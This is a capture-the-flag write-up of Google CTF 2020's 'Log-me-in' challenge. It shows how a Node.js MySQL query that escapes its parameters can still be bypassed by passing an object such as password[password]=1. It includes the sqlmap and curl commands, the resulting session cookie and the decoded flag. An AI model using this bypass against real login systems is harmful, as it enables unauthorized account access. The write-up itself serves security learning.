Google CTF 2020 Writeup: Log-me-in

We're presented with a near copy of the site from Tech Support - a template company website, with an about page, profile page, flag page and login. We are also given a truncated copy of app.js.

Attempting to access the flag page tells us we need to login to access the page. Going to the login page, we have no way to register our own account, so we must try to break in. Thankfully, the classic admin:admin works here, and we can view the flag page:

Flags are great!
Flag: Only Michelle's account has the flag

Not that easy, but now we know the account we're aiming for. Looking through the code, there is boilerplate for the website we have seen, a little bit of information we already know:

const targetUser = "michelle"

and the login page handler:

app.post('/login', (req, res) => {
  const u = req.body['username'];
  const p = req.body['password'];

  const con = DBCon(); // mysql.createConnection(...).connect()

  const sql = 'Select * from users where username = ? and password = ?';
  con.query(sql, [u, p], function(err, qResult) {
    if(err) {
      res.render('login', {error: `Unknown error: ${err}`});
    } else if(qResult.length) {
      const username = qResult[0]['username'];
      let flag;
      if(username.toLowerCase() == targetUser) {
        flag = flagValue
      } else{
        flag = "<span class=text-danger>Only Michelle's account has the flag</span>";
      }
      req.session.username = username
      req.session.flag = flag
      res.redirect('/me');
    } else {
      res.render('login', {error: "Invalid username or password"})
    }

Seems standard. Read login details, check they are a pair in the DB, give flag if we are Michelle. Checking the ExpressJS documentation, this is the correct way to sanitise variables, and certainly doesn't look like an SQLi; running sqlmap with all possible tests for the known DBMS (MySQL) shows:

sqlmap -u https://log-me-in-mf89fg9xmybn-dot-ctf-web-kuqo48d.appspot.com/login --data "username=michelle&password=TEST&csrf=" -p password --risk 3 --level 5 --dbms mysql
...
[20:08:34] [CRITICAL] all tested parameters do not appear to be injectable.

That's a shame, especially as this is the only detail we have... but given there's little else of note in this app file, we'll probably have to do something a bit creative here. One neat thing about JavaScript is that object properties (and hence methods) can be accessed in two ways: object.property or the equivalent object[property]. A lesser known fact about HTTP is that arrays and objects can be passed as parameters, by using array style syntax; let's try to change the toString method and see if that helps us:

username[toString]=asdf&password=asdf&csrf=
Unknown error: Error: ER_BAD_FIELD_ERROR: Unknown column 'toString' in 'where clause'

Interesting - overwriting username.toString causes an error. In this case however, it doesn't appear to be an error from messing with the toString method - it has somehow inserted "toString" into the query. If it's not a method then it's probably treating it as an object - in which case, the con.query line in app.js is running

con.query(sql, [asdf, {toString=>asdf}], ...)

NodeJS does something funky in this case, which we only found documentation for later (see here) - objects are not just escaped and substituted in, but instead mapped to key => value pairs and processed. The intent behind this is to make insert and update statements easier, since we could have a set of {column:value} passed into the query as a single escaped value.

In this SELECT case however, this is very exploitable, as it is just passing the keys into the query directly as column names and ignoring the values.

That sounds totally safe.

For our given query, we can now pass password[password]=1 to create the object parameter password={password:1}, which we now know will use password as a column name, creating ... and password=password, which removes that check. So, for our full exploit:

curl https://log-me-in-mf89fg9xmybn-dot-ctf-web-kuqo48d.appspot.com/login -d "username=michelle&password[password]=1&csrf=" -v

It worked! We get a response and are redirected to /me. Looking through the output, we can see Michelle's cookies:

< set-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponly

While I could now log in using these cookies to display , it's easier to just look at the cookie data, since we know session.flag was set and hence is part of the cookie:

$echo eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9 | base64 -d
{"username":"michelle","flag":"CTF{a-premium-effort-deserves-a-premium-flag}"}

And we have a flag!

GG Google, very fun challenge. Always good to know that escaped SQL parameters can still go wrong :)

- M0r4d0